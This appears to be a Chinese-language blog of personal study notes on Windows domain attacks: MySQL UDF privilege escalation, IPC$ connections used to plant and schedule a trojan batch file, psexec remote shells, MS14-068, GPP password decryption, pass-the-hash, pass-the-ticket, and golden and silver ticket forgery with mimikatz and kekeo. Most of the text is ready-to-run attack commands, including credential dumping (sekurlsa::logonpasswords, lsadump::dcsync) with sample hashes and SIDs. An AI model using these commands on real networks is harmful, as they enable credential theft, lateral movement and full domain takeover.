windows的一些东西,边学边更新。

UDF提权

UDF导出路径
  • 小于5.1(C:WINDOWS\udf.dll 或 C:\WINDOWS\system32\udf.dll )

  • 大于5.1 导出到插件目录

    1
    select @@plugin_dir;

然后将对应版本的dll上传到相应目录下

1
2
3
create function sys_eval returns string soname "lib_mysqludf_sys.dll"
select sys_eval("whoami");
drop function sys_eval

IPC空连接

建立连接
1
net use \\192.168.1.108\c$ “12345@12345qw” /user:backlion\administrator
1
net use \\192.168.1.108\c$ 123456 /user:administrator //建立的非空连接
1
net use \\192.168.1.108\c$ "" /user:administrator //空连接,无密码
建立连接后

将目标c盘映射都本地为z盘

1
2
net use z: \\ip\c$
net use z: \del \y #删除

然后将bat或者exe木马传进去。

或者

1
copy 1.bat \\ip\c$

然后查看目标时间

1
net time \\ip

然后添加定时任务

1
at \\ip 21:11:11 c:\1.bat
工具

psexec

1
2
psexec.exe \\ip cmd //前提是需要建立一个空连接或者非空连接
psexec.exe \\192.168.1.108 cmd -u administrator -p 123456 //不需要建立空连接
删除
1
net use * /del

认证

NTLM hash & NTLM

NTLM(网络协议),是把NTLM Hash作为根本凭证进行认证的协议

ms14068

kekeo
1
exploit::ms14068 /domain:p0desta.com /user:xxx /password:xxx /ptt

自动注入凭证。

然后klist发现注入成功

1
net use \\DCSERVER\c$

这里一定要使用域控的机器名

或者使用

1
exploit::ms14068 /domain:p0desta.com /user:xxx /password:xxx /trick

来生成一张票据,然后利用mimikatz来导入内存中。

1
2
kerberos::purge #清空当前机器存在的凭证
kerberos::ptc c:\xxxx.ccache

注入成功后登陆域控机器,或者使用psexec等直接执行命令。

组策略漏洞(GPP)

域管在使用GPP来配置和操作域的时候,在组策略分发的时候会保存为一个xml文件,密码经过AES加密,并且最重要的是任何域用户都可以访问到这个文件,如果有记录下来的更改密码或者其他操作,那么就有可能拿到更大的权限。

直接使用python脚本解密。

Pass the hash

也就是利用相同的hash来碰撞攻击

获取hash

1
2
privilege::debug
sekurlsa::logonpasswords

pth

1
sekurlsa::pth /user:administrator /domain:workgroup /ntlm:d6e1371929886ec1be0b0cf4b101f289 /run:c:\windows\system32\cmd.exe

Pass The Ticket

Export the ticket

当拿到域控权限后导出内存中的票据,在10个小时内可以使用票据登陆域控。

1
2
mimikatz # sekurlsa::tickets /export
mimikatz # kerberos::ptt {ccachpath}
Golden Ticket

客户端将自己的信息发送给KDC,KDC使用krbtgt用户的hash来加密生成TGT,如果我们拿到了krbtge的hash就可以来伪造生成任意TGT。

因为krbtge只有域控机器上才有,所以当我们有了域控权限登陆域控机器后,

导出

1
2
3
mimikatz
log
lsadump::dcsync /domain:p0desta /user:krbtgt

拿到

1
2
3
sid:S-1-5-21-677646976-2890183194-789215486-502
aes256:ec332e4207e97414984c78b82a8b80f4ba7108451317adeb789624ef2162ebc1
domain:p0desta.com

这里也可以使用NTLM Hash值

到普通的域用户机器上生成TGT凭证。

1
2
3
kerberos::golden /domain:vuln.local /sid:S-1-5-21-677646976-2890183194-789215486-502
/aes256:ec332e4207e97414984c78b82a8b80f4ba7108451317adeb789624ef2162ebc1 /user:test2
/ticket

导入Golden Trick

1
kerberos::ptt xxx.kirbi
silver ticket

白银票据是伪造TGS,是不需要与KDC进行交互的,而且因为是使用的目标服务的hash,所以没办法生成对应域内的其他服务器的权限,也不能通过TGT申请,只能针对服务器上的某些服务去伪造。

首先获取目标服务器的hash

1
2
3
4
5
/domain:p0desta.com
/sid:S-1-5-21-677646976-2890183194-789215486 (域的sid,去掉最后的500)
/target:dcserver.p0desta.om
/rc4:489b8a7af2f86e7e37988201f4c53bdc
/user:test3
1
kerberos::golden /domain:p0desta.com /sid:S-1-5-21-677646976-2890183194-789215486 /target:dcserver.p0desta.com /rc4:489b8a7af2f86e7e37988201f4c53bdc /service:cifs /user:hack /ptt